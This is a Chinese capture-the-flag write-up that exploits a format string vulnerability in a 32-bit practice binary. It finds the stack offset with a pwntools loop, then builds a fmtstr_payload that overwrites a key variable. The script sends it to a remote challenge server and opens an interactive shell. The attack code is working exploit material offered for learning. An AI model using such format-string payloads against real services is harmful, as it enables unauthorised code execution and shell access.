本题是一个简单的格式化字符串漏洞的利用。先查看一些文件的信息,32位的程序,保护措施没有开。
用IDA查看一些伪代码,发现main函数
里面只有一个locker函数
,locker函数首先接受了一个字符串s
,然后调用imagemagic函数
,这个函数跟进去查看其实就是一个printf函数
,最后比较key的值是不是为0x2223322,如果相等,返回shell,否则打印key的地址和值。
我们在本地运行一下看看,由于直接把key的地址告诉你了,所以本题的思路是找到格式化字符串地址的偏移,然后覆盖key的值。格式化字符串漏洞不清楚的可以先去查查相关资料,或者参考这篇文章
首先找偏移, printf("%p",a) 用地址的格式打印变量 a 的值。我们在前面输入AAAA
,所以只需要在返回结果中找到0x41414141
即可确定偏移,得到偏移为12。
也可以用脚本得到偏移,结果是一样的
from pwn import *
conn = process('./a.out')
i = 0
while(1):
conn.sendline('AAAA' + '%p ' * i)
recv = conn.recv()
if '0x41414141' in recv:
log.info("offset is {}".format(i))
break
i += 1
conn = process('./a.out')
找到偏移以后,key的地址我们也得到了,需要改写的值也知道了,可以直接用pwntools里面函数得到payload。
脚步如下
from pwn import *
debug = False
if debug:
conn = process('./a.out')
else:
conn = remote('220.249.52.133', 40638)
key_addr = 0x0804a048
key_value = 0x2223322
payload = fmtstr_payload(12, {key_addr: key_value})
conn.sendline(payload)
conn.interactive()